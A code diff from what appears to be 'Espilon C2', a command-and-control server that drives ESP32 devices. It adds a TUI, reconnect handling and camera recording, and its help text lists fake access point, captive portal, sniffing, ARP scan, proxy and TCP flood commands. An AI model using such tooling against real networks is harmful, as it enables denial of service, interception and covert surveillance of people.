|
||||
threading.Thread(target=cli.loop, daemon=True).start()
|
||||
# Function to accept client connections
|
||||
def accept_loop():
|
||||
while True:
|
||||
try:
|
||||
sock, addr = server.accept()
|
||||
threading.Thread(
|
||||
target=client_thread,
|
||||
args=(sock, addr, transport, registry),
|
||||
daemon=True
|
||||
).start()
|
||||
except OSError:
|
||||
break
|
||||
except Exception as e:
|
||||
Display.error(f"Server error: {e}")
|
||||
|
||||
# Device status checker thread
|
||||
threading.Thread(target=device_status_checker, daemon=True).start()
|
||||
# Accept loop thread
|
||||
threading.Thread(target=accept_loop, daemon=True).start()
|
||||
|
||||
# Accept loop
|
||||
while True:
|
||||
# ============================
|
||||
# TUI or CLI mode
|
||||
# ============================
|
||||
if args.tui:
|
||||
try:
|
||||
sock, addr = server.accept()
|
||||
threading.Thread(
|
||||
target=client_thread,
|
||||
args=(sock, addr, transport, registry), # Pass registry to client_thread
|
||||
daemon=True
|
||||
).start()
|
||||
from tui.app import C3POApp
|
||||
Display.enable_tui_mode()
|
||||
app = C3POApp(registry=registry, cli=cli)
|
||||
app.run()
|
||||
except ImportError as e:
|
||||
Display.error(f"TUI not available: {e}")
|
||||
Display.error("Install textual: pip install textual")
|
||||
sys.exit(1)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
else:
|
||||
# Classic CLI mode
|
||||
try:
|
||||
cli.loop()
|
||||
except KeyboardInterrupt:
|
||||
Display.system_message("Shutdown requested. Exiting...")
|
||||
break
|
||||
except Exception as e:
|
||||
Display.error(f"Server error: {e}")
|
||||
|
||||
server.close()
|
||||
|
||||
|
||||
@ -85,49 +85,59 @@ class CLI:
|
||||
if not cmd:
|
||||
continue
|
||||
|
||||
parts = cmd.split()
|
||||
action = parts[0]
|
||||
|
||||
if action == "help":
|
||||
self.help_manager.show(parts[1:])
|
||||
continue
|
||||
|
||||
if action == "exit":
|
||||
if cmd == "exit":
|
||||
return
|
||||
|
||||
if action == "clear":
|
||||
os.system("cls" if os.name == "nt" else "clear")
|
||||
continue
|
||||
self.execute_command(cmd)
|
||||
|
||||
if action == "list":
|
||||
self._handle_list()
|
||||
continue
|
||||
def execute_command(self, cmd: str):
|
||||
"""Execute a command string. Used by both CLI loop and TUI."""
|
||||
if not cmd:
|
||||
return
|
||||
|
||||
if action == "modules":
|
||||
self.help_manager.show_modules()
|
||||
continue
|
||||
parts = cmd.split()
|
||||
action = parts[0]
|
||||
|
||||
if action == "group":
|
||||
self._handle_group(parts[1:])
|
||||
continue
|
||||
if action == "help":
|
||||
self.help_manager.show(parts[1:])
|
||||
return
|
||||
|
||||
if action == "send":
|
||||
self._handle_send(parts)
|
||||
continue
|
||||
if action == "exit":
|
||||
return
|
||||
|
||||
if action == "active_commands":
|
||||
self._handle_active_commands()
|
||||
continue
|
||||
if action == "clear":
|
||||
os.system("cls" if os.name == "nt" else "clear")
|
||||
return
|
||||
|
||||
if action == "web":
|
||||
self._handle_web(parts[1:])
|
||||
continue
|
||||
if action == "list":
|
||||
self._handle_list()
|
||||
return
|
||||
|
||||
if action == "camera":
|
||||
self._handle_camera(parts[1:])
|
||||
continue
|
||||
if action == "modules":
|
||||
self.help_manager.show_modules()
|
||||
return
|
||||
|
||||
Display.error("Unknown command")
|
||||
if action == "group":
|
||||
self._handle_group(parts[1:])
|
||||
return
|
||||
|
||||
if action == "send":
|
||||
self._handle_send(parts)
|
||||
return
|
||||
|
||||
if action == "active_commands":
|
||||
self._handle_active_commands()
|
||||
return
|
||||
|
||||
if action == "web":
|
||||
self._handle_web(parts[1:])
|
||||
return
|
||||
|
||||
if action == "camera":
|
||||
self._handle_camera(parts[1:])
|
||||
return
|
||||
|
||||
Display.error("Unknown command")
|
||||
|
||||
# ================= HANDLERS =================
|
||||
|
||||
@ -333,7 +343,8 @@ class CLI:
|
||||
self.web_server = UnifiedWebServer(
|
||||
device_registry=self.registry,
|
||||
mlat_engine=self.mlat_engine,
|
||||
multilat_token=MULTILAT_AUTH_TOKEN
|
||||
multilat_token=MULTILAT_AUTH_TOKEN,
|
||||
camera_receiver=self.udp_receiver
|
||||
)
|
||||
|
||||
if self.web_server.start():
|
||||
@ -391,11 +402,16 @@ class CLI:
|
||||
self.udp_receiver = UDPReceiver(
|
||||
host=UDP_HOST,
|
||||
port=UDP_PORT,
|
||||
image_dir=IMAGE_DIR
|
||||
image_dir=IMAGE_DIR,
|
||||
device_registry=self.registry
|
||||
)
|
||||
|
||||
if self.udp_receiver.start():
|
||||
Display.system_message(f"Camera UDP receiver started on {UDP_HOST}:{UDP_PORT}")
|
||||
# Update web server if running
|
||||
if self.web_server and self.web_server.is_running:
|
||||
self.web_server.set_camera_receiver(self.udp_receiver)
|
||||
Display.system_message("Web server updated with camera receiver")
|
||||
else:
|
||||
Display.error("Camera UDP receiver failed to start")
|
||||
|
||||
@ -407,6 +423,9 @@ class CLI:
|
||||
self.udp_receiver.stop()
|
||||
Display.system_message("Camera UDP receiver stopped.")
|
||||
self.udp_receiver = None
|
||||
# Update web server
|
||||
if self.web_server and self.web_server.is_running:
|
||||
self.web_server.set_camera_receiver(None)
|
||||
|
||||
elif cmd == "status":
|
||||
Display.system_message("Camera UDP Receiver Status:")
|
||||
|
||||
@ -54,6 +54,10 @@ class HelpManager:
|
||||
self.commands = command_registry
|
||||
self.dev_mode = dev_mode
|
||||
|
||||
def _out(self, text: str):
|
||||
"""Output helper that works in both CLI and TUI mode."""
|
||||
Display.system_message(text)
|
||||
|
||||
def show(self, args: list[str]):
|
||||
if args:
|
||||
self._show_command_help(args[0])
|
||||
@ -62,124 +66,128 @@ class HelpManager:
|
||||
|
||||
def show_modules(self):
|
||||
"""Show ESP commands organized by module."""
|
||||
Display.system_message("=== ESP32 COMMANDS BY MODULE ===\n")
|
||||
self._out("=== ESP32 COMMANDS BY MODULE ===")
|
||||
self._out("")
|
||||
|
||||
for module_name, module_info in ESP_MODULES.items():
|
||||
print(f"\033[1;35m[{module_name.upper()}]\033[0m - {module_info['description']}")
|
||||
self._out(f"[{module_name.upper()}] - {module_info['description']}")
|
||||
for cmd_name, cmd_desc in module_info["commands"].items():
|
||||
print(f" \033[36m{cmd_name:<12}\033[0m {cmd_desc}")
|
||||
print()
|
||||
self._out(f" {cmd_name:<20} {cmd_desc}")
|
||||
self._out("")
|
||||
|
||||
print("\033[90mUse 'help <command>' for detailed help on a specific command.\033[0m")
|
||||
print("\033[90mSend commands with: send <device_id|all> <command> [args...]\033[0m")
|
||||
self._out("Use 'help <command>' for detailed help on a specific command.")
|
||||
self._out("Send commands with: send <device_id|all> <command> [args...]")
|
||||
|
||||
def _show_global_help(self):
|
||||
Display.system_message("=== ESPILON C2 HELP ===")
|
||||
print("\n\033[1mC2 Commands:\033[0m")
|
||||
print(" \033[36mhelp\033[0m [command] Show help or help for a specific command")
|
||||
print(" \033[36mlist\033[0m List connected ESP devices")
|
||||
print(" \033[36mmodules\033[0m List ESP commands organized by module")
|
||||
print(" \033[36msend\033[0m <target> <cmd> Send a command to ESP device(s)")
|
||||
print(" \033[36mgroup\033[0m <action> Manage device groups (add, remove, list, show)")
|
||||
print(" \033[36mactive_commands\033[0m List currently running commands")
|
||||
print(" \033[36mclear\033[0m Clear terminal screen")
|
||||
print(" \033[36mexit\033[0m Exit C2")
|
||||
self._out("=== ESPILON C2 HELP ===")
|
||||
self._out("")
|
||||
self._out("C2 Commands:")
|
||||
self._out(" help [command] Show help or help for a specific command")
|
||||
self._out(" list List connected ESP devices")
|
||||
self._out(" modules List ESP commands organized by module")
|
||||
self._out(" send <target> <cmd> Send a command to ESP device(s)")
|
||||
self._out(" group <action> Manage device groups (add, remove, list, show)")
|
||||
self._out(" active_commands List currently running commands")
|
||||
self._out(" clear Clear terminal screen")
|
||||
self._out(" exit Exit C2")
|
||||
self._out("")
|
||||
self._out("Server Commands:")
|
||||
self._out(" web start|stop|status Web dashboard server")
|
||||
self._out(" camera start|stop|status Camera UDP receiver")
|
||||
self._out("")
|
||||
self._out("ESP Commands: (use 'modules' for detailed list)")
|
||||
|
||||
print("\n\033[1mServer Commands:\033[0m")
|
||||
print(" \033[36mweb\033[0m start|stop|status Web dashboard server")
|
||||
print(" \033[36mcamera\033[0m start|stop|status Camera UDP receiver")
|
||||
|
||||
print("\n\033[1mESP Commands:\033[0m (use 'modules' for detailed list)")
|
||||
registered_cmds = self.commands.list()
|
||||
if registered_cmds:
|
||||
for name in registered_cmds:
|
||||
handler = self.commands.get(name)
|
||||
print(f" \033[36m{name:<15}\033[0m {handler.description}")
|
||||
self._out(f" {name:<15} {handler.description}")
|
||||
else:
|
||||
print(" \033[90m(no registered commands - use 'send' with any ESP command)\033[0m")
|
||||
self._out(" (no registered commands - use 'send' with any ESP command)")
|
||||
|
||||
if self.dev_mode:
|
||||
print("\n\033[33mDEV MODE:\033[0m Send arbitrary text: send <target> <any text>")
|
||||
self._out("")
|
||||
self._out("DEV MODE: Send arbitrary text: send <target> <any text>")
|
||||
|
||||
def _show_command_help(self, command_name: str):
|
||||
# CLI Commands
|
||||
if command_name == "list":
|
||||
Display.system_message("Help for 'list' command:")
|
||||
print(" Usage: list")
|
||||
print(" Description: Displays all connected ESP devices with ID, IP, status,")
|
||||
print(" connection duration, and last seen timestamp.")
|
||||
self._out("Help for 'list' command:")
|
||||
self._out(" Usage: list")
|
||||
self._out(" Description: Displays all connected ESP devices with ID, IP, status,")
|
||||
self._out(" connection duration, and last seen timestamp.")
|
||||
|
||||
elif command_name == "send":
|
||||
Display.system_message("Help for 'send' command:")
|
||||
print(" Usage: send <device_id|all|group <name>> <command> [args...]")
|
||||
print(" Description: Sends a command to one or more ESP devices.")
|
||||
print(" Examples:")
|
||||
print(" send ESP_ABC123 reboot")
|
||||
print(" send all wifi status")
|
||||
print(" send group scanners mlat start AA:BB:CC:DD:EE:FF")
|
||||
self._out("Help for 'send' command:")
|
||||
self._out(" Usage: send <device_id|all|group <name>> <command> [args...]")
|
||||
self._out(" Description: Sends a command to one or more ESP devices.")
|
||||
self._out(" Examples:")
|
||||
self._out(" send ESP_ABC123 reboot")
|
||||
self._out(" send all wifi status")
|
||||
self._out(" send group scanners mlat start AA:BB:CC:DD:EE:FF")
|
||||
|
||||
elif command_name == "group":
|
||||
Display.system_message("Help for 'group' command:")
|
||||
print(" Usage: group <action> [args...]")
|
||||
print(" Actions:")
|
||||
print(" add <name> <id1> [id2...] Add devices to a group")
|
||||
print(" remove <name> <id1> [id2...] Remove devices from a group")
|
||||
print(" list List all groups")
|
||||
print(" show <name> Show group members")
|
||||
self._out("Help for 'group' command:")
|
||||
self._out(" Usage: group <action> [args...]")
|
||||
self._out(" Actions:")
|
||||
self._out(" add <name> <id1> [id2...] Add devices to a group")
|
||||
self._out(" remove <name> <id1> [id2...] Remove devices from a group")
|
||||
self._out(" list List all groups")
|
||||
self._out(" show <name> Show group members")
|
||||
|
||||
elif command_name == "web":
|
||||
Display.system_message("Help for 'web' command:")
|
||||
print(" Usage: web <start|stop|status>")
|
||||
print(" Description: Control the web dashboard server.")
|
||||
print(" Actions:")
|
||||
print(" start Start the web server (dashboard, cameras, MLAT)")
|
||||
print(" stop Stop the web server")
|
||||
print(" status Show server status and MLAT engine info")
|
||||
print(" Default URL: http://127.0.0.1:5000")
|
||||
self._out("Help for 'web' command:")
|
||||
self._out(" Usage: web <start|stop|status>")
|
||||
self._out(" Description: Control the web dashboard server.")
|
||||
self._out(" Actions:")
|
||||
self._out(" start Start the web server (dashboard, cameras, MLAT)")
|
||||
self._out(" stop Stop the web server")
|
||||
self._out(" status Show server status and MLAT engine info")
|
||||
self._out(" Default URL: http://127.0.0.1:5000")
|
||||
|
||||
elif command_name == "camera":
|
||||
Display.system_message("Help for 'camera' command:")
|
||||
print(" Usage: camera <start|stop|status>")
|
||||
print(" Description: Control the camera UDP receiver.")
|
||||
print(" Actions:")
|
||||
print(" start Start UDP receiver for camera frames")
|
||||
print(" stop Stop UDP receiver")
|
||||
print(" status Show receiver stats (packets, frames, errors)")
|
||||
print(" Default port: 12345")
|
||||
self._out("Help for 'camera' command:")
|
||||
self._out(" Usage: camera <start|stop|status>")
|
||||
self._out(" Description: Control the camera UDP receiver.")
|
||||
self._out(" Actions:")
|
||||
self._out(" start Start UDP receiver for camera frames")
|
||||
self._out(" stop Stop UDP receiver")
|
||||
self._out(" status Show receiver stats (packets, frames, errors)")
|
||||
self._out(" Default port: 12345")
|
||||
|
||||
elif command_name == "modules":
|
||||
Display.system_message("Help for 'modules' command:")
|
||||
print(" Usage: modules")
|
||||
print(" Description: List all ESP32 commands organized by module.")
|
||||
print(" Modules: system, network, fakeap, recon")
|
||||
self._out("Help for 'modules' command:")
|
||||
self._out(" Usage: modules")
|
||||
self._out(" Description: List all ESP32 commands organized by module.")
|
||||
self._out(" Modules: system, network, fakeap, recon")
|
||||
|
||||
elif command_name in ["clear", "exit", "active_commands"]:
|
||||
Display.system_message(f"Help for '{command_name}' command:")
|
||||
print(f" Usage: {command_name}")
|
||||
self._out(f"Help for '{command_name}' command:")
|
||||
self._out(f" Usage: {command_name}")
|
||||
descs = {
|
||||
"clear": "Clear the terminal screen",
|
||||
"exit": "Exit the C2 application",
|
||||
"active_commands": "Show all commands currently being executed"
|
||||
}
|
||||
print(f" Description: {descs.get(command_name, '')}")
|
||||
self._out(f" Description: {descs.get(command_name, '')}")
|
||||
|
||||
# ESP Commands (by module or registered)
|
||||
else:
|
||||
# Check in modules first
|
||||
for module_name, module_info in ESP_MODULES.items():
|
||||
if command_name in module_info["commands"]:
|
||||
Display.system_message(f"ESP Command '{command_name}' [{module_name.upper()}]:")
|
||||
print(f" Description: {module_info['commands'][command_name]}")
|
||||
self._out(f"ESP Command '{command_name}' [{module_name.upper()}]:")
|
||||
self._out(f" Description: {module_info['commands'][command_name]}")
|
||||
self._show_esp_command_detail(command_name)
|
||||
return
|
||||
|
||||
# Check registered commands
|
||||
handler = self.commands.get(command_name)
|
||||
if handler:
|
||||
Display.system_message(f"ESP Command '{command_name}':")
|
||||
print(f" Description: {handler.description}")
|
||||
self._out(f"ESP Command '{command_name}':")
|
||||
self._out(f" Description: {handler.description}")
|
||||
if hasattr(handler, 'usage'):
|
||||
print(f" Usage: {handler.usage}")
|
||||
self._out(f" Usage: {handler.usage}")
|
||||
else:
|
||||
Display.error(f"No help available for '{command_name}'.")
|
||||
|
||||
@ -187,104 +195,101 @@ class HelpManager:
|
||||
"""Show detailed help for specific ESP commands."""
|
||||
details = {
|
||||
# MLAT subcommands
|
||||
"mlat config": """
|
||||
Usage: send <device> mlat config [gps|local] <coord1> <coord2>
|
||||
GPS mode: mlat config gps <lat> <lon> - degrees
|
||||
Local mode: mlat config local <x> <y> - meters
|
||||
Examples:
|
||||
send ESP1 mlat config gps 48.8566 2.3522
|
||||
send ESP1 mlat config local 10.0 5.5
|
||||
send ESP1 mlat config 48.8566 2.3522 (backward compat: GPS)""",
|
||||
|
||||
"mlat mode": """
|
||||
Usage: send <device> mlat mode <ble|wifi>
|
||||
Example: send ESP1 mlat mode ble""",
|
||||
|
||||
"mlat start": """
|
||||
Usage: send <device> mlat start <mac>
|
||||
Example: send ESP1 mlat start AA:BB:CC:DD:EE:FF""",
|
||||
|
||||
"mlat stop": """
|
||||
Usage: send <device> mlat stop""",
|
||||
|
||||
"mlat status": """
|
||||
Usage: send <device> mlat status""",
|
||||
|
||||
# Camera commands
|
||||
"cam_start": """
|
||||
Usage: send <device> cam_start <ip> <port>
|
||||
Description: Start camera streaming to C2 UDP receiver
|
||||
Example: send ESP_CAM cam_start 192.168.1.100 12345""",
|
||||
|
||||
"cam_stop": """
|
||||
Usage: send <device> cam_stop
|
||||
Description: Stop camera streaming""",
|
||||
|
||||
# FakeAP commands
|
||||
"fakeap_start": """
|
||||
Usage: send <device> fakeap_start <ssid> [open|wpa2] [password]
|
||||
Examples:
|
||||
send ESP1 fakeap_start FreeWiFi
|
||||
send ESP1 fakeap_start SecureNet wpa2 mypassword""",
|
||||
|
||||
"fakeap_stop": """
|
||||
Usage: send <device> fakeap_stop""",
|
||||
|
||||
"fakeap_status": """
|
||||
Usage: send <device> fakeap_status
|
||||
Shows: AP running, portal status, sniffer status, client count""",
|
||||
|
||||
"fakeap_clients": """
|
||||
Usage: send <device> fakeap_clients
|
||||
Lists all connected clients to the fake AP""",
|
||||
|
||||
"fakeap_portal_start": """
|
||||
Usage: send <device> fakeap_portal_start
|
||||
Description: Enable captive portal (requires fakeap running)""",
|
||||
|
||||
"fakeap_portal_stop": """
|
||||
Usage: send <device> fakeap_portal_stop""",
|
||||
|
||||
"fakeap_sniffer_on": """
|
||||
Usage: send <device> fakeap_sniffer_on
|
||||
Description: Enable packet sniffing""",
|
||||
|
||||
"fakeap_sniffer_off": """
|
||||
Usage: send <device> fakeap_sniffer_off""",
|
||||
|
||||
# Network commands
|
||||
"ping": """
|
||||
Usage: send <device> ping <host>
|
||||
Example: send ESP1 ping 8.8.8.8""",
|
||||
|
||||
"arp_scan": """
|
||||
Usage: send <device> arp_scan
|
||||
Description: Scan local network for hosts""",
|
||||
|
||||
"proxy_start": """
|
||||
Usage: send <device> proxy_start <ip> <port>
|
||||
Example: send ESP1 proxy_start 192.168.1.100 8080""",
|
||||
|
||||
"proxy_stop": """
|
||||
Usage: send <device> proxy_stop""",
|
||||
|
||||
"dos_tcp": """
|
||||
Usage: send <device> dos_tcp <ip> <port> <count>
|
||||
Example: send ESP1 dos_tcp 192.168.1.100 80 1000""",
|
||||
|
||||
# System commands
|
||||
"system_reboot": """
|
||||
Usage: send <device> system_reboot
|
||||
Description: Reboot the ESP32 device""",
|
||||
|
||||
"system_mem": """
|
||||
Usage: send <device> system_mem
|
||||
Shows: heap_free, heap_min, internal_free""",
|
||||
|
||||
"system_uptime": """
|
||||
Usage: send <device> system_uptime
|
||||
Shows: uptime in days/hours/minutes/seconds"""
|
||||
"mlat config": [
|
||||
" Usage: send <device> mlat config [gps|local] <coord1> <coord2>",
|
||||
" GPS mode: mlat config gps <lat> <lon> - degrees",
|
||||
" Local mode: mlat config local <x> <y> - meters",
|
||||
" Examples:",
|
||||
" send ESP1 mlat config gps 48.8566 2.3522",
|
||||
" send ESP1 mlat config local 10.0 5.5",
|
||||
],
|
||||
"mlat mode": [
|
||||
" Usage: send <device> mlat mode <ble|wifi>",
|
||||
" Example: send ESP1 mlat mode ble",
|
||||
],
|
||||
"mlat start": [
|
||||
" Usage: send <device> mlat start <mac>",
|
||||
" Example: send ESP1 mlat start AA:BB:CC:DD:EE:FF",
|
||||
],
|
||||
"mlat stop": [
|
||||
" Usage: send <device> mlat stop",
|
||||
],
|
||||
"mlat status": [
|
||||
" Usage: send <device> mlat status",
|
||||
],
|
||||
"cam_start": [
|
||||
" Usage: send <device> cam_start <ip> <port>",
|
||||
" Description: Start camera streaming to C2 UDP receiver",
|
||||
" Example: send ESP_CAM cam_start 192.168.1.100 12345",
|
||||
],
|
||||
"cam_stop": [
|
||||
" Usage: send <device> cam_stop",
|
||||
" Description: Stop camera streaming",
|
||||
],
|
||||
"fakeap_start": [
|
||||
" Usage: send <device> fakeap_start <ssid> [open|wpa2] [password]",
|
||||
" Examples:",
|
||||
" send ESP1 fakeap_start FreeWiFi",
|
||||
" send ESP1 fakeap_start SecureNet wpa2 mypassword",
|
||||
],
|
||||
"fakeap_stop": [
|
||||
" Usage: send <device> fakeap_stop",
|
||||
],
|
||||
"fakeap_status": [
|
||||
" Usage: send <device> fakeap_status",
|
||||
" Shows: AP running, portal status, sniffer status, client count",
|
||||
],
|
||||
"fakeap_clients": [
|
||||
" Usage: send <device> fakeap_clients",
|
||||
" Lists all connected clients to the fake AP",
|
||||
],
|
||||
"fakeap_portal_start": [
|
||||
" Usage: send <device> fakeap_portal_start",
|
||||
" Description: Enable captive portal (requires fakeap running)",
|
||||
],
|
||||
"fakeap_portal_stop": [
|
||||
" Usage: send <device> fakeap_portal_stop",
|
||||
],
|
||||
"fakeap_sniffer_on": [
|
||||
" Usage: send <device> fakeap_sniffer_on",
|
||||
" Description: Enable packet sniffing",
|
||||
],
|
||||
"fakeap_sniffer_off": [
|
||||
" Usage: send <device> fakeap_sniffer_off",
|
||||
],
|
||||
"ping": [
|
||||
" Usage: send <device> ping <host>",
|
||||
" Example: send ESP1 ping 8.8.8.8",
|
||||
],
|
||||
"arp_scan": [
|
||||
" Usage: send <device> arp_scan",
|
||||
" Description: Scan local network for hosts",
|
||||
],
|
||||
"proxy_start": [
|
||||
" Usage: send <device> proxy_start <ip> <port>",
|
||||
" Example: send ESP1 proxy_start 192.168.1.100 8080",
|
||||
],
|
||||
"proxy_stop": [
|
||||
" Usage: send <device> proxy_stop",
|
||||
],
|
||||
"dos_tcp": [
|
||||
" Usage: send <device> dos_tcp <ip> <port> <count>",
|
||||
" Example: send ESP1 dos_tcp 192.168.1.100 80 1000",
|
||||
],
|
||||
"system_reboot": [
|
||||
" Usage: send <device> system_reboot",
|
||||
" Description: Reboot the ESP32 device",
|
||||
],
|
||||
"system_mem": [
|
||||
" Usage: send <device> system_mem",
|
||||
" Shows: heap_free, heap_min, internal_free",
|
||||
],
|
||||
"system_uptime": [
|
||||
" Usage: send <device> system_uptime",
|
||||
" Shows: uptime in days/hours/minutes/seconds",
|
||||
],
|
||||
}
|
||||
|
||||
if cmd in details:
|
||||
print(details[cmd])
|
||||
for line in details[cmd]:
|
||||
self._out(line)
|
||||
|
||||
@ -14,7 +14,11 @@ class Device:
|
||||
|
||||
connected_at: float = field(default_factory=time.time)
|
||||
last_seen: float = field(default_factory=time.time)
|
||||
status: str = "Connected" # New status field
|
||||
status: str = "Connected"
|
||||
|
||||
# System info (populated by auto system_info query)
|
||||
chip: str = ""
|
||||
modules: str = ""
|
||||
|
||||
def touch(self):
|
||||
"""
|
||||
|
||||
@ -64,6 +64,7 @@ class Transport:
|
||||
# ==================================================
|
||||
def _dispatch(self, sock, addr, msg: AgentMessage):
|
||||
device = self.registry.get(msg.device_id)
|
||||
is_new_device = False
|
||||
|
||||
if not device:
|
||||
device = Device(
|
||||
@ -73,11 +74,63 @@ class Transport:
|
||||
)
|
||||
self.registry.add(device)
|
||||
Display.device_event(device.id, f"Connected from {addr[0]}")
|
||||
is_new_device = True
|
||||
else:
|
||||
# Device reconnected with new socket - update connection info
|
||||
if device.sock != sock:
|
||||
try:
|
||||
device.sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
device.sock = sock
|
||||
device.address = addr
|
||||
Display.device_event(device.id, f"Reconnected from {addr[0]}:{addr[1]}")
|
||||
device.touch()
|
||||
|
||||
self._handle_agent_message(device, msg)
|
||||
|
||||
# Auto-query system_info on new device connection
|
||||
if is_new_device:
|
||||
self._auto_query_system_info(device)
|
||||
|
||||
def _auto_query_system_info(self, device: Device):
|
||||
"""Send system_info command automatically when device connects."""
|
||||
try:
|
||||
cmd = Command()
|
||||
cmd.device_id = device.id
|
||||
cmd.command_name = "system_info"
|
||||
cmd.request_id = f"auto-sysinfo-{device.id}"
|
||||
self.send_command(device.sock, cmd)
|
||||
except Exception as e:
|
||||
Display.error(f"Auto system_info failed for {device.id}: {e}")
|
||||
|
||||
def _parse_system_info(self, device: Device, payload: str):
|
||||
"""Parse system_info response and update device info."""
|
||||
# Format: chip=esp32 cores=2 flash=external heap=4310096 uptime=7s modules=network,fakeap
|
||||
try:
|
||||
for part in payload.split():
|
||||
if "=" in part:
|
||||
key, value = part.split("=", 1)
|
||||
if key == "chip":
|
||||
device.chip = value
|
||||
elif key == "modules":
|
||||
device.modules = value
|
||||
|
||||
# Notify TUI about device info update
|
||||
Display.device_event(device.id, f"INFO: {payload}")
|
||||
|
||||
# Send special message to update TUI title
|
||||
from utils.display import Display as Disp
|
||||
if Disp._tui_mode:
|
||||
from tui.bridge import tui_bridge, TUIMessage, MessageType
|
||||
tui_bridge.post_message(TUIMessage(
|
||||
msg_type=MessageType.DEVICE_INFO_UPDATED,
|
||||
device_id=device.id,
|
||||
payload=device.modules
|
||||
))
|
||||
except Exception as e:
|
||||
Display.error(f"Failed to parse system_info: {e}")
|
||||
|
||||
# ==================================================
|
||||
# AGENT MESSAGE HANDLER
|
||||
# ==================================================
|
||||
@ -90,13 +143,20 @@ class Transport:
|
||||
payload_str = repr(msg.payload)
|
||||
|
||||
if msg.type == AgentMsgType.AGENT_CMD_RESULT:
|
||||
if msg.request_id and self.cli:
|
||||
# Check if this is auto system_info response
|
||||
if msg.request_id and msg.request_id.startswith("auto-sysinfo-"):
|
||||
self._parse_system_info(device, payload_str)
|
||||
elif msg.request_id and self.cli:
|
||||
self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof)
|
||||
else:
|
||||
Display.device_event(device.id, f"Command result (no request_id or CLI not set): {payload_str}")
|
||||
elif msg.type == AgentMsgType.AGENT_INFO:
|
||||
# Check for system_info response (format: chip=... modules=...)
|
||||
if "chip=" in payload_str and "modules=" in payload_str:
|
||||
self._parse_system_info(device, payload_str)
|
||||
return
|
||||
# Check for MLAT data (format: MLAT:x;y;rssi)
|
||||
if payload_str.startswith("MLAT:") and self.cli:
|
||||
elif payload_str.startswith("MLAT:") and self.cli:
|
||||
mlat_data = payload_str[5:] # Remove "MLAT:" prefix
|
||||
if self.cli.mlat_engine.parse_mlat_message(device.id, mlat_data):
|
||||
# Recalculate position if we have enough scanners
|
||||
|
||||
BIN
tools/c2/static/images/no-signal.png
Normal file
BIN
tools/c2/static/images/no-signal.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1.8 KiB |
@ -12,14 +12,18 @@ import threading
|
||||
import time
|
||||
import cv2
|
||||
import numpy as np
|
||||
from datetime import datetime
|
||||
from typing import Optional, Callable, Dict
|
||||
|
||||
from .config import (
|
||||
UDP_HOST, UDP_PORT, UDP_BUFFER_SIZE,
|
||||
SECRET_TOKEN, IMAGE_DIR,
|
||||
VIDEO_ENABLED, VIDEO_PATH, VIDEO_FPS, VIDEO_CODEC
|
||||
VIDEO_FPS, VIDEO_CODEC
|
||||
)
|
||||
|
||||
# Camera timeout - mark as inactive after this many seconds without frames
|
||||
CAMERA_TIMEOUT_SECONDS = 5
|
||||
|
||||
|
||||
class FrameAssembler:
|
||||
"""Assembles JPEG frames from multiple UDP packets."""
|
||||
@ -31,13 +35,11 @@ class FrameAssembler:
|
||||
self.receiving = False
|
||||
|
||||
def start_frame(self):
|
||||
"""Start receiving a new frame."""
|
||||
self.buffer = bytearray()
|
||||
self.start_time = time.time()
|
||||
self.receiving = True
|
||||
|
||||
def add_chunk(self, data: bytes) -> bool:
|
||||
"""Add a chunk to the frame buffer. Returns False if timed out."""
|
||||
if not self.receiving:
|
||||
return False
|
||||
if self.start_time and (time.time() - self.start_time) > self.timeout:
|
||||
@ -47,7 +49,6 @@ class FrameAssembler:
|
||||
return True
|
||||
|
||||
def finish_frame(self) -> Optional[bytes]:
|
||||
"""Finish frame assembly and return complete data."""
|
||||
if not self.receiving or len(self.buffer) == 0:
|
||||
return None
|
||||
data = bytes(self.buffer)
|
||||
@ -55,12 +56,89 @@ class FrameAssembler:
|
||||
return data
|
||||
|
||||
def reset(self):
|
||||
"""Reset the assembler state."""
|
||||
self.buffer = bytearray()
|
||||
self.start_time = None
|
||||
self.receiving = False
|
||||
|
||||
|
||||
class CameraRecorder:
|
||||
"""Handles video recording for a single camera."""
|
||||
|
||||
def __init__(self, camera_id: str, output_dir: str):
|
||||
self.camera_id = camera_id
|
||||
self.output_dir = output_dir
|
||||
self._writer: Optional[cv2.VideoWriter] = None
|
||||
self._video_size: Optional[tuple] = None
|
||||
self._recording = False
|
||||
self._filename: Optional[str] = None
|
||||
self._frame_count = 0
|
||||
self._start_time: Optional[float] = None
|
||||
|
||||
@property
|
||||
def is_recording(self) -> bool:
|
||||
return self._recording
|
||||
|
||||
@property
|
||||
def filename(self) -> Optional[str]:
|
||||
return self._filename
|
||||
|
||||
@property
|
||||
def duration(self) -> float:
|
||||
if self._start_time:
|
||||
return time.time() - self._start_time
|
||||
return 0
|
||||
|
||||
@property
|
||||
def frame_count(self) -> int:
|
||||
return self._frame_count
|
||||
|
||||
def start(self) -> str:
|
||||
if self._recording:
|
||||
return self._filename
|
||||
|
||||
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
safe_id = self.camera_id.replace(":", "_").replace(".", "_")
|
||||
self._filename = f"recording_{safe_id}_{timestamp}.avi"
|
||||
self._recording = True
|
||||
self._frame_count = 0
|
||||
self._start_time = time.time()
|
||||
return self._filename
|
||||
|
||||
def stop(self) -> dict:
|
||||
if not self._recording:
|
||||
return {"error": "Not recording"}
|
||||
|
||||
self._recording = False
|
||||
result = {
|
||||
"filename": self._filename,
|
||||
"frames": self._frame_count,
|
||||
"duration": self.duration
|
||||
}
|
||||
|
||||
if self._writer:
|
||||
self._writer.release()
|
||||
self._writer = None
|
||||
|
||||
self._video_size = None
|
||||
return result
|
||||
|
||||
def write_frame(self, frame: np.ndarray):
|
||||
if not self._recording:
|
||||
return
|
||||
|
||||
if self._writer is None:
|
||||
self._video_size = (frame.shape[1], frame.shape[0])
|
||||
fourcc = cv2.VideoWriter_fourcc(*VIDEO_CODEC)
|
||||
video_path = os.path.join(self.output_dir, self._filename)
|
||||
self._writer = cv2.VideoWriter(
|
||||
video_path, fourcc, VIDEO_FPS, self._video_size
|
||||
)
|
||||
|
||||
if self._writer and self._writer.isOpened():
|
||||
self._writer.write(frame)
|
||||
self._frame_count += 1
|
||||
|
||||
|
||||
class UDPReceiver:
|
||||
"""Receives JPEG frames via UDP from ESP camera devices."""
|
||||
|
||||
@ -68,11 +146,13 @@ class UDPReceiver:
|
||||
host: str = UDP_HOST,
|
||||
